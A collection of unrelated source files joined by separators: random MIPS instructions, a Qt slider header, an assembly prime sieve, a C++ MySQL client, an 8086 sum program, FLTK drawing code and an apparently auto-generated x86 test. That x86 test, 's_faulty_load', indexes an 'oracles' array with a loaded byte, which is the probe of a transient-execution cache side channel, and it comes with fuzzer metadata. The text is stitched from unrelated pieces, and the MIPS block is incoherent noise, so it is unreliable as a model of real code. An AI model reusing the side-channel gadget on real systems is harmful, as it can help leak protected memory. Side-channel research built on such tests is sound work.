mtlo $6
divu $2,$ra
ori $1,$2,63298
mthi $4
mfhi $4
div $1,$ra
addiu $6,$3,-23334
mfhi $6
multu $4,$4
mthi $5
mtlo $4
multu $4,$3
mtlo $0
divu $2,$ra
ori $4,$1,39211
mthi $1
srav $3,$0,$3
mtlo $4
mfhi $5
addiu $5,$4,-10395
multu $4,$5
addiu $6,$5,-3146
divu $4,$ra
mfhi $3
mfhi $3
mult $4,$4
sb $3,13($0)
sb $5,14($0)
lb $4,10($0)
multu $0,$2
mfhi $5
addu $4,$4,$4
mthi $4
sll $5,$4,9
divu $3,$ra
mflo $3
addiu $4,$4,16992
lui $6,21332
multu $1,$5
lui $3,9140
mthi $2
srav $3,$3,$3
addu $0,$5,$2
sb $5,7($0)
addiu $5,$2,19017
sll $5,$1,29
srav $1,$6,$0
mfhi $0
sb $6,5($0)
addiu $1,$1,-17872
addu $5,$5,$3
mtlo $5
divu $5,$ra
addiu $4,$2,19511
mthi $6
mfhi $4
mthi $5
div $6,$ra
divu $5,$ra
div $5,$ra
lb $1,6($0)
mflo $3
lui $1,63778
lb $0,8($0)
mfhi $1
lb $5,3($0)
lb $1,3($0)
lui $0,21286
ori $1,$5,29994
lui $2,46827
sll $3,$3,18
mfhi $0
mfhi $1
lui $0,44239
addiu $2,$2,12914
lui $3,508
mflo $6
multu $2,$2
mult $1,$6
multu $2,$2
ori $4,$1,44464
mthi $1
sb $5,6($0)
divu $3,$ra
ori $4,$6,64358
addiu $0,$0,-3006
multu $4,$1
mfhi $5
mthi $5
sll $5,$5,1
divu $1,$ra
mult $5,$6
mtlo $1
ori $4,$5,10346
multu $1,$2
mflo $5
multu $2,$4
mfhi $6
addiu $4,$5,15878
mthi $1
addiu $0,$4,-20867
addu $1,$1,$6
lb $6,3($0)
addu $5,$5,$0
multu $5,$2
div $5,$ra
addu $4,$4,$5
sb $4,4($0)
sll $4,$2,7
addu $5,$2,$3
mthi $4
lb $5,13($0)
lb $5,1($0)
sb $1,5($0)
sb $4,0($0)
ori $2,$2,19571
multu $4,$4
mfhi $1
sll $4,$1,13
mult $4,$1
multu $0,$1
multu $5,$6
mult $4,$2
lui $1,43669
ori $5,$5,65482
lb $5,10($0)
mthi $4
mtlo $5
divu $6,$ra
mult $5,$1
addiu $5,$5,18346
lb $2,1($0)
mthi $1
sb $6,2($0)
mflo $4
srav $4,$4,$4
addu $4,$2,$4
lui $4,9408
mult $1,$5
mthi $4
addu $2,$2,$5
srav $3,$1,$3
mflo $0
ori $4,$2,33906
addiu $3,$2,-18446
sll $1,$1,27
sll $5,$4,3
srav $2,$2,$4
addiu $0,$2,-24456
mthi $1
mtlo $2
ori $5,$2,52304
divu $2,$ra
addu $1,$5,$6
sll $6,$6,26
multu $0,$4
mfhi $1
mtlo $4
div $0,$ra
mtlo $4
sll $0,$0,2
sll $5,$5,10
sll $4,$4,26
multu $5,$5
divu $3,$ra
ori $1,$6,46726
ori $4,$2,44899
multu $4,$4
div $3,$ra
mflo $4
srav $5,$1,$5
mflo $0
mtlo $1
sll $2,$2,24
sll $2,$2,24
mthi $4
mtlo $2
sb $1,14($0)
mfhi $2
addiu $1,$0,-18213
srav $4,$4,$2
ori $1,$0,7394
addiu $3,$4,-19123
mult $4,$5
addu $0,$4,$4
sll $5,$1,13
srav $4,$4,$4
divu $5,$ra
ori $5,$5,57925
multu $4,$6
mflo $4
addiu $1,$1,15137
mfhi $2
mfhi $6
mtlo $4
addiu $1,$4,-19822
addu $4,$5,$4
mflo $5
sll $6,$5,11
mfhi $1
div $2,$ra
addu $4,$4,$6
div $4,$ra
lui $4,33009
ori $5,$6,27160
addu $4,$0,$4
addiu $1,$4,1072
lui $5,58044
lb $4,6($0)
sb $3,13($0)
lui $4,44336
divu $1,$ra
mthi $4
addiu $0,$1,-29484
sll $1,$0,24
mult $1,$2
multu $5,$5
multu $4,$4
multu $5,$6
mthi $4
div $0,$ra
mthi $3
multu $5,$5
addiu $0,$4,2392
sb $4,9($0)
mfhi $3
lb $4,6($0)
srav $0,$0,$0
srav $4,$5,$4
mthi $4
divu $5,$ra
divu $5,$ra
srav $1,$5,$5
addu $4,$5,$6
sb $5,1($0)
ori $5,$2,19811
multu $2,$4
div $1,$ra
mtlo $3
addu $4,$1,$4
mflo $1
mtlo $1
ori $5,$4,24095
mtlo $1
lb $3,8($0)
lb $2,11($0)
sb $6,2($0)
addu $5,$5,$4
div $1,$ra
srav $5,$4,$4
multu $4,$5
divu $4,$ra
mthi $0
mthi $1
mflo $5
sb $1,1($0)
addiu $3,$5,-22470
ori $1,$5,20219
divu $5,$ra
div $1,$ra
divu $0,$ra
mfhi $5
mtlo $0
divu $4,$ra
mthi $4
sll $3,$3,21
srav $1,$1,$0
div $4,$ra
mflo $5
srav $2,$2,$2
addu $2,$2,$2
ori $4,$4,31409
divu $4,$ra
mtlo $4
srav $4,$4,$3
ori $2,$4,4828
sll $1,$5,16
ori $5,$6,48255
divu $1,$ra
ori $0,$4,14670
addu $4,$4,$4
lb $1,16($0)
mthi $5
mtlo $5
lui $4,14978
addiu $6,$0,-10139
lb $4,0($0)
div $4,$ra
lb $4,16($0)
mtlo $1
mflo $5
addu $5,$0,$0
sb $1,3($0)
multu $1,$5
mfhi $1
mtlo $4
div $1,$ra
ori $1,$4,60763
div $4,$ra
mult $1,$1
mflo $5
lui $4,60410
mflo $3
mult $2,$6
mthi $5
divu $4,$ra
mfhi $4
mthi $3
lui $2,2102
srav $4,$5,$2
div $1,$ra
srav $3,$3,$3
mult $5,$1
mfhi $1
mthi $6
div $4,$ra
addiu $1,$2,6897
lui $6,63332
ori $6,$6,55152
addiu $1,$5,-29878
multu $0,$1
lui $3,54468
mthi $2
mtlo $5
mflo $6
lui $2,44606
mthi $0
multu $5,$5
divu $5,$ra
mthi $1
lui $4,4101
addiu $0,$1,27357
addu $2,$4,$2
divu $1,$ra
addu $0,$5,$6
sll $4,$3,14
mthi $5
mtlo $4
mtlo $1
mtlo $5
mflo $5
srav $5,$5,$4
addiu $3,$1,32417
sll $6,$6,23
sb $4,0($0)
mfhi $1
addiu $6,$1,30806
mult $4,$5
sb $4,8($0)
sb $1,0($0)
sll $0,$1,10
sll $4,$4,25
mthi $1
addu $3,$3,$3
sb $1,13($0)
mthi $5
div $4,$ra
ori $0,$2,9380
srav $4,$0,$5
lui $2,37739
mfhi $5
ori $4,$4,42109
mthi $1
mthi $0
mthi $3
mtlo $2
mult $4,$4
addiu $1,$0,-18782
div $5,$ra
mult $0,$1
multu $5,$5
ori $4,$4,39164
div $3,$ra
lui $5,17723
mthi $1
div $1,$ra
mtlo $4
addiu $2,$4,2352
multu $2,$5
addiu $5,$5,19178
lb $1,16($0)
mthi $6
sb $0,5($0)
sb $4,13($0)
sll $5,$5,30
sb $4,13($0)
srav $6,$3,$3
srav $0,$3,$3
mtlo $4
sb $5,13($0)
lui $2,46189
mflo $1
mflo $4
mthi $5
sb $4,7($0)
ori $4,$4,57776
mflo $0
srav $4,$4,$4
srav $4,$4,$4
ori $1,$1,41083
addiu $4,$4,6029
mtlo $3
mult $4,$3
lui $4,17729
mult $5,$3
addu $5,$2,$2
sll $5,$4,30
mtlo $1
divu $0,$ra
divu $4,$ra
srav $2,$2,$2
mtlo $3
divu $2,$ra
srav $4,$0,$3
mflo $6
ori $2,$1,60859
addu $6,$2,$4
lui $1,20938
mult $5,$5
ori $4,$4,63307
mfhi $4
ori $3,$4,1659
divu $4,$ra
sll $4,$4,17
multu $5,$6
addu $1,$6,$5
lb $4,1($0)
divu $1,$ra
div $2,$ra
addu $3,$6,$3
lui $1,53272
mflo $5
mflo $3
lui $4,13301
mtlo $1
sb $4,9($0)
addiu $4,$1,-15734
mthi $0
lui $5,44283
mtlo $2
mtlo $3
ori $0,$0,61959
divu $2,$ra
addiu $1,$1,14465
mthi $5
divu $1,$ra
lui $6,7719
mflo $4
mflo $4
addiu $4,$2,6454
lb $1,10($0)
multu $5,$5
ori $1,$2,3539
multu $3,$5
divu $5,$ra
mthi $4
div $5,$ra
mult $2,$2
ori $0,$4,42127
multu $6,$2
mflo $4
srav $5,$6,$2
sb $4,10($0)
mfhi $3
addu $4,$1,$4
lb $4,3($0)
mult $5,$5
mflo $5
lb $1,11($0)
lui $1,28728
lui $6,35243
multu $6,$4
mtlo $1
lui $0,11599
sll $4,$0,18
addu $4,$4,$3
mthi $4
sll $4,$4,22
multu $5,$6
div $5,$ra
ori $5,$6,10775
addiu $1,$1,-11526
addiu $1,$1,727
lui $3,18061
mflo $2
lb $2,4($0)
sll $6,$2,1
addu $5,$4,$2
sll $4,$4,30
multu $4,$0
sll $4,$6,30
mtlo $0
divu $3,$ra
sll $3,$3,23
divu $5,$ra
lb $5,11($0)
mflo $6
lb $1,14($0)
divu $4,$ra
addiu $4,$4,-3679
div $4,$ra
sll $4,$4,24
addu $1,$2,$2
sb $2,3($0)
lb $2,5($0)
multu $4,$1
addu $1,$1,$3
div $4,$ra
ori $0,$5,30362
mthi $5
multu $4,$6
lui $1,49846
mflo $4
mthi $5
multu $5,$4
div $1,$ra
mult $4,$0
mthi $1
div $5,$ra
multu $1,$4
mtlo $4
addu $0,$5,$0
lui $1,17547
addiu $4,$4,-15462
addiu $2,$2,-10260
mthi $4
lb $1,2($0)
srav $1,$5,$5
mfhi $4
lui $2,16065
addiu $5,$5,15450
addu $5,$5,$5
addiu $0,$4,25927
mult $4,$3
addiu $2,$1,-26294
lui $5,32234
srav $6,$3,$3
mtlo $4
mthi $1
div $0,$ra
srav $5,$5,$5
mthi $5
mult $0,$0
mtlo $5
lui $5,20038
mfhi $2
mthi $4
ori $5,$5,42244
sll $1,$1,28
mfhi $5
multu $0,$1
addiu $5,$6,-8819
div $5,$ra
mflo $1
div $1,$ra
sb $1,6($0)
mthi $4
lui $5,33752
multu $4,$4
mfhi $1
mult $4,$2
addu $3,$5,$3
lb $4,11($0)
mflo $1
srav $1,$4,$2
addu $2,$0,$2
divu $4,$ra
sb $2,10($0)
lb $4,11($0)
div $4,$ra
multu $5,$4
mult $2,$2
lb $4,15($0)
srav $6,$3,$3
srav $5,$0,$4
sb $4,13($0)
div $2,$ra
mthi $4
mtlo $1
mult $0,$0
lui $0,61770
mult $3,$3
mult $0,$0
lb $0,11($0)
addu $4,$4,$6
addu $4,$2,$5
lui $6,45571
mflo $4
mult $0,$5
addiu $1,$6,-9104
sb $5,16($0)
addu $4,$4,$4
mtlo $5
addiu $0,$5,-21949
ori $4,$5,15566
divu $1,$ra
addiu $4,$5,6387
addu $6,$4,$3
div $1,$ra
sb $0,6($0)
mthi $5
div $4,$ra
div $4,$ra
multu $1,$1
addiu $0,$5,-17187
div $1,$ra
ori $4,$1,56260
addiu $5,$5,7597
sll $0,$1,30
addiu $4,$4,796
lui $3,58318
sll $0,$5,18
mtlo $1
mflo $4
mult $1,$5
addu $4,$5,$4
divu $4,$ra
addu $4,$2,$4
lb $5,13($0)
divu $5,$ra
sb $5,5($0)
div $1,$ra
ori $1,$2,52166
addu $4,$4,$1
mflo $6
mtlo $4
sb $4,1($0)
div $6,$ra
addu $5,$2,$2
multu $4,$1
sb $4,10($0)
srav $6,$5,$1
mthi $4
sb $5,0($0)
addu $4,$4,$1
multu $4,$5
mflo $6
lb $1,4($0)
srav $6,$4,$5
mtlo $4
addu $0,$5,$0
multu $0,$2
sll $2,$2,8
multu $1,$5
lb $4,11($0)
mflo $0
addu $1,$1,$1
mthi $4
sll $0,$0,0
sb $2,14($0)
mfhi $5
sb $4,11($0)
multu $1,$2
mult $4,$1
addu $4,$2,$2
div $4,$ra
sll $2,$2,29
mult $1,$2
lb $1,14($0)
mfhi $4
multu $4,$2
mfhi $2
sb $0,11($0)
mtlo $5
divu $3,$ra
lb $0,16($0)
srav $1,$1,$1
mfhi $1
addu $5,$0,$1
sb $4,4($0)
divu $5,$ra
srav $1,$1,$1
mthi $5
addu $5,$5,$5
mtlo $6
lb $4,16($0)
ori $5,$2,61849
addu $1,$4,$2
sll $4,$4,13
ori $5,$5,8311
divu $1,$ra
sll $5,$4,18
multu $5,$4
ori $4,$4,20603
div $0,$ra
mfhi $1
mfhi $5
srav $5,$2,$5
sb $5,14($0)
sb $4,2($0)
lui $1,22671
mult $5,$5
div $2,$ra
mthi $3
mthi $2
addiu $3,$3,7686
mflo $1
mfhi $1
ori $2,$2,42058
ori $1,$6,27258
sb $4,2($0)
divu $5,$ra
addu $4,$4,$3
multu $1,$1
div $5,$ra
mflo $6
mfhi $6
mflo $1
sb $2,16($0)
srav $4,$5,$5
srav $4,$4,$4
lb $5,4($0)
lb $1,15($0)
div $4,$ra
mflo $2
mflo $0
mthi $4
mult $4,$1
mthi $6
lb $4,12($0)
lui $4,52470
div $4,$ra
addu $2,$2,$2
mult $5,$4
ori $4,$2,22317
addu $1,$5,$5
mult $1,$2
mfhi $4
ori $3,$2,43432
divu $5,$ra
sll $5,$5,10
lui $6,42084
mtlo $2
addu $1,$2,$5
addu $6,$6,$1
mfhi $4
multu $4,$4
ori $4,$0,12874
mult $6,$4
divu $5,$ra
mthi $1
srav $4,$2,$4
mtlo $4
addu $1,$4,$1
addiu $1,$1,-32351
mult $1,$2
mfhi $1
mthi $4
divu $6,$ra
divu $5,$ra
mfhi $5
mthi $0
mfhi $1
ori $1,$2,14692
div $0,$ra
mflo $1
srav $4,$1,$3
srav $1,$1,$1
mthi $0
addiu $1,$4,-28663
ori $4,$4,43880
mthi $1
ori $6,$4,22120
lui $5,35862
mthi $4
sb $2,4($0)
ori $4,$4,40388
sb $5,15($0)
mult $5,$5
addu $5,$1,$4
addu $4,$4,$4
mflo $4
mfhi $3
mthi $4
mthi $1
lb $6,11($0)
sb $4,14($0)
multu $4,$5
ori $5,$0,51037
ori $4,$2,8973
addiu $0,$6,16913
mfhi $5
mflo $4
mthi $2
sll $4,$4,17
mult $5,$1
addiu $6,$6,16970
srav $6,$6,$6
sb $4,0($0)
srav $4,$5,$4
lb $1,1($0)
div $4,$ra
divu $0,$ra
srav $2,$2,$2
mfhi $1
|
#pragma once
#include <QSlider>
class DoubleSlider : public QSlider {
Q_OBJECT
double minVal, maxVal, minStep;
public:
DoubleSlider(QWidget *parent = nullptr);
void setDoubleConstraints(double newMin, double newMax,
double newStep, double val);
signals:
void doubleValChanged(double val);
public slots:
void intValChanged(int val);
void setDoubleVal(double val);
};
|
; Copyright (c) Microsoft Corporation. All rights reserved.
.386
.model flat, c
INCLUDE sieve.inc
; Custom Build Step (for sieve.asm/sieve.obj), including a listing file placed in intermediate directory
; but without Source Browser information
; Command Line (debug):
; ml -c -Zi "-Fl$(IntDir)\$(InputName).lst" "-Fo$(IntDir)\$(InputName).obj" "$(InputPath)"
; Command Line (release):
; ml -c "-Fl$(IntDir)\$(InputName).lst" "-Fo$(IntDir)\$(InputName).obj" "$(InputPath)"
; Outputs:
; $(IntDir)\$(InputName).obj
; Additional Dependencies:
; $(InputDir)\$(InputName).inc
; Custom Build Step (for sieve.asm/sieve.obj), including a listing file placed in intermediate directory
; and Source Browser information also placed in intermediate directory
; Command Line (debug):
; ml -c -Zi "-Fl$(IntDir)\$(InputName).lst" "-FR$(IntDir)\$(InputName).sbr" "-Fo$(IntDir)\$(InputName).obj" "$(InputPath)"
; Command Line (release):
; ml -c "-Fl$(IntDir)\$(InputName).lst" "-FR$(IntDir)\$(InputName).sbr" "-Fo$(IntDir)\$(InputName).obj" "$(InputPath)"
; Outputs:
; $(IntDir)\$(InputName).obj;$(IntDir)\$(InputName).sbr
; Additional Dependencies:
; $(InputDir)\$(InputName).inc
.code
; The Sieve of Eratosthenes uses an array of an integral type to
; track prime numbers where the index into the array represents the
; number and the value stored is its 'prime-ness' -- 0 for prime,
; 1 for not prime. Non-primes are calculated by exhaustively
; multiplying pairs of integers together from 2 to N, N being chosen
; based on range of primes desired, to calculate non-primes. This
; implementation uses an array of chars to reduce memory usage.
; Step 1 C source for sieve of Eratosthenes
; for (i=2; i<=sz/2; i++)
; for (j=2; j<=sz/i; j++)
; p[i*j-1]=1;
; Modify j loop and array index to eliminate div by i
; for (i=2; i<=sz/2; i++)
; for (j=2*i; j<=sz; j+=i)
; p[j-1]=1;
sieve PROC uses ebx
mov edx, p
push 2
pop eax ; for (i=2;...
iloop:
mov ecx, eax
shl ecx, 1 ; for (j=2*i;...
jloop:
mov ebx, sz
cmp ecx, ebx ; ... j<=sz;
ja @F
mov BYTE PTR [edx+ecx-1], 1 ; p[j-1]=1;
add ecx, eax ; ... j+=i)
jmp jloop
@@:
inc eax ; ... i++)
shr ebx, 1
cmp eax, ebx ; ...i<=sz/2;
jb iloop
RET
sieve ENDP
end
|
#include "utils.hpp"
#include <amy/connector.hpp>
#include <algorithm>
#include <iostream>
#include <iterator>
global_options opts;
int main(int argc, char* argv[]) try {
parse_command_line_options(argc, argv);
AMY_ASIO_NS::io_service io_service;
amy::connector connector(io_service);
connector.connect(opts.tcp_endpoint(),
opts.auth_info(),
opts.schema,
amy::client_multi_statements);
// Executes multiple ';'-separated SQL queries read from stdin.
connector.query(read_from_stdin());
auto first = amy::results_iterator(connector);
auto last = amy::results_iterator();
// Prints result sets of each executed query.
std::for_each(first, last, [](const amy::result_set& rs) {
std::cout
<< "Affected rows: " << rs.affected_rows()
<< ", field count: " << rs.field_count()
<< ", result set size: " << rs.size()
<< std::endl;
auto out = std::ostream_iterator<amy::row>(std::cout, "\n");
std::copy(rs.begin(), rs.end(), out);
});
return 0;
} catch (AMY_SYSTEM_NS::system_error const& e) {
report_system_error(e);
} catch (std::exception const& e) {
std::cerr << "Exception: " << e.what() << std::endl;
}
// vim:ft=cpp sw=4 ts=4 tw=80 et
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x56a5, %rsi
lea addresses_UC_ht+0x1d15d, %rdi
nop
nop
nop
nop
nop
inc %r15
mov $65, %rcx
rep movsw
nop
sub $44187, %r12
lea addresses_WT_ht+0x27e5, %rsi
lea addresses_normal_ht+0xcc01, %rdi
clflush (%rdi)
nop
nop
and %r13, %r13
mov $126, %rcx
rep movsq
nop
nop
nop
nop
nop
add $141, %r13
lea addresses_WC_ht+0xca99, %rsi
nop
nop
and $841, %r11
movb $0x61, (%rsi)
xor $2679, %rsi
lea addresses_WT_ht+0x1e0a5, %rsi
lea addresses_D_ht+0xc6a5, %rdi
and %rax, %rax
mov $53, %rcx
rep movsq
nop
nop
nop
nop
xor $17357, %rcx
lea addresses_WT_ht+0x1a6a5, %rsi
lea addresses_A_ht+0x165c5, %rdi
clflush (%rdi)
nop
nop
nop
and $59934, %r11
mov $82, %rcx
rep movsq
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_D_ht+0x16fab, %rax
nop
nop
nop
nop
nop
inc %r13
and $0xffffffffffffffc0, %rax
movaps (%rax), %xmm7
vpextrq $0, %xmm7, %rsi
nop
nop
nop
xor %rdi, %rdi
lea addresses_UC_ht+0x149a5, %rsi
lea addresses_D_ht+0x118e5, %rdi
clflush (%rdi)
nop
cmp %r11, %r11
mov $41, %rcx
rep movsq
nop
nop
nop
inc %rsi
lea addresses_WC_ht+0x76a5, %rdi
nop
nop
nop
nop
nop
add %r11, %r11
mov (%rdi), %cx
nop
nop
nop
nop
and %r15, %r15
lea addresses_UC_ht+0x1dce5, %rax
nop
xor $31390, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
movups %xmm5, (%rax)
nop
nop
add $11762, %r15
lea addresses_WC_ht+0x59a5, %rsi
lea addresses_UC_ht+0x1eb51, %rdi
nop
nop
nop
nop
inc %rax
mov $124, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $28872, %rsi
lea addresses_D_ht+0xe221, %r12
clflush (%r12)
nop
inc %rax
mov (%r12), %si
nop
sub %rdi, %rdi
lea addresses_A_ht+0x970f, %rax
cmp %rcx, %rcx
mov $0x6162636465666768, %r11
movq %r11, (%rax)
nop
nop
nop
nop
xor %r12, %r12
lea addresses_WT_ht+0x920d, %rcx
sub $54279, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm6
vmovups %ymm6, (%rcx)
nop
nop
nop
nop
nop
and $61415, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %rdi
push %rdx
// Store
lea addresses_D+0xe65, %rdx
nop
nop
nop
nop
xor %r12, %r12
mov $0x5152535455565758, %r11
movq %r11, %xmm1
movups %xmm1, (%rdx)
nop
nop
nop
sub %r12, %r12
// Faulty Load
lea addresses_normal+0x106a5, %rdi
nop
nop
sub $20885, %r10
mov (%rdi), %r12
lea oracles, %r10
and $0xff, %r12
shlq $12, %r12
mov (%r10,%r12,1), %r12
pop %rdx
pop %rdi
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 1, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
.model small
.stack 100h
.data
v db 1, 2
len equ ($ - v)
s db 0
.code
main proc
mov ax, @data
mov ds, ax
; code goes here
lea di, v ; di points to the beginning of v
mov cx, len
mov bx, 0
iter:
mov al, [di]
add bl, al
inc di
loop iter
; the sum of the elements
mov s, bl
; store the sum
mov ax, bx
mov bl, len
div bl
mov dl, al
mov ah, 4ch
int 21h
endp
end main |
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <math.h>
extern "C" {
#include <netdraw.h>
#include <mesh.h>
#include <affine.h>
}
#include <Fl/fl_draw.h>
#include <netdraw_fltk.hh>
#define get_disp(i) \
((x == NULL || vindex == NULL || vindex[i] < 0) ? 0 : x[vindex[i]])
#define NPTS 10
#define min(a,b) (((a)<(b)) ? (a) : (b))
#define max(a,b) (((a)>(b)) ? (a) : (b))
static void line (void* pself, double* x1, double* x2);
static double* get_x(void* pself);
static netdraw_fun_t fltk_draw_fun = {line, NULL, NULL, get_x};
static void line(void* pself, double* x1, double* x2)
{
DrawBox* self = (DrawBox*) pself;
double pts[6];
memcpy(pts + 0, x1, 3*sizeof(double));
memcpy(pts + 3, x2, 3*sizeof(double));
affine_apply(self->toview, pts + 0);
affine_apply(self->toscreen, pts + 0);
affine_apply(self->toview, pts + 3);
affine_apply(self->toscreen, pts + 3);
fl_line((int) pts[0], (int) pts[1],
(int) pts[3], (int) pts[4]);
}
static double* get_x(void* pself)
{
DrawBox* self = (DrawBox*) pself;
return self->disp;
}
void DrawBox::set_transforms()
{
int i, n;
double xmin, xmax, ymin, ymax, scale;
xmin = ymin = 1;
xmax = ymax = -1;
n = mesh_num_nodes(mesh);
for (i = 1; i <= n; ++i) {
mesh_node_t* node = mesh_node(mesh, i);
xmin = min(xmin, node->x[0]);
xmax = max(xmax, node->x[0]);
ymin = min(ymin, node->x[1]);
ymax = max(ymax, node->x[1]);
}
scale = 1/max(xmax-xmin, ymax-ymin);
affine_identity(toview);
affine_translate_xyz(toview, -(xmax+xmin)/2, -(ymax+ymin)/2, 0);
affine_scale(toview, scale);
affine_identity(toscreen);
toscreen[4] = -1;
double border = 50;
double mindim = min(w(), h());
affine_scale(toscreen, mindim - 2*border);
affine_translate_xyz(toscreen, x()+w()/2, y()+h()/2, 0);
}
